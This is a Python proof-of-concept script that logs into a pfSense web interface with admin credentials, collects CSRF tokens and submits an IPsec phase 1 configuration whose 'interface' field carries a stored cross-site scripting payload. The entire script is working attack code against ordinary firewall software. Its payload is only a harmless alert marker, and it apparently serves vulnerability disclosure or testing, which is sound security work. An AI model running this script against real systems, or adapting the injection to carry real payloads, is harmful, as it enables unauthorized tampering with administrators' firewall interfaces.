1
|
#!/usr/bin/env python3
|
2
|
import requests
|
3
|
requests.packages.urllib3.disable_warnings()
|
4
|
from bs4 import BeautifulSoup
|
5
|
|
6
|
baseurl = 'https://198.51.100.34'
|
7
|
|
8
|
target = baseurl + '/vpn_ipsec_phase1.php'
|
9
|
|
10
|
login_data = {
|
11
|
'login' : 'Login',
|
12
|
'usernamefld' : 'admin',
|
13
|
'passwordfld' : 'pfsense2',
|
14
|
}
|
15
|
|
16
|
target_data = {
|
17
|
"descr": "XSS Test",
|
18
|
"iketype": "ikev2",
|
19
|
"protocol": "inet",
|
20
|
"interface": 'wan"><script>alert(\'XSS\')</script>',
|
21
|
"remotegw": "198.51.100.254",
|
22
|
"authentication_method": "pre_shared_key",
|
23
|
"mode": "main",
|
24
|
"myid_type": "myaddress",
|
25
|
"myid_data": "",
|
26
|
"peerid_type": "peeraddress",
|
27
|
"peerid_data": "",
|
28
|
"pskey": "14e1206aafd9bb66a9469c0ee1f570c60ccb283b7cca6192fecf78e1",
|
29
|
"ealgo_algo0": "aes",
|
30
|
"ealgo_keylen0": "128",
|
31
|
"halgo0": "sha256",
|
32
|
"dhgroup0": "14",
|
33
|
"prfalgo0": "sha256",
|
34
|
"lifetime": "28800",
|
35
|
"rekey_time": "",
|
36
|
"reauth_time": "",
|
37
|
"rand_time": "",
|
38
|
"startaction": "",
|
39
|
"closeaction": "",
|
40
|
"nat_traversal": "on",
|
41
|
"mobike": "off",
|
42
|
"ikeport": "",
|
43
|
"nattport": "",
|
44
|
"dpd_enable": "yes",
|
45
|
"dpd_delay": "10",
|
46
|
"dpd_maxfail": "5",
|
47
|
"ikeid": "",
|
48
|
"save": "Save"
|
49
|
}
|
50
|
|
51
|
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0'}
|
52
|
|
53
|
with requests.Session() as s:
|
54
|
# Fetch CSRF token from login page
|
55
|
r = s.get(baseurl, headers=headers, verify=False)
|
56
|
|
57
|
soup = BeautifulSoup(r.text, 'lxml')
|
58
|
login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
|
59
|
|
60
|
# Login
|
61
|
r = s.post(baseurl, data=login_data, headers=headers)
|
62
|
|
63
|
# Find the next CSRF token
|
64
|
soup = BeautifulSoup(r.text, 'lxml')
|
65
|
target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
|
66
|
|
67
|
# Submit actual request
|
68
|
r = s.post(target, data=target_data, headers=headers)
|
69
|
|
70
|
# Dump input errors from response
|
71
|
soup = BeautifulSoup(r.text, 'lxml')
|
72
|
input_errors = [errors.text for errors in soup.select('div.input-errors ul li')]
|
73
|
if (input_errors):
|
74
|
print("Input errors:\n")
|
75
|
for ie in input_errors:
|
76
|
print("* " + ie + "\n")
|
77
|
|
78
|
print('Done')
|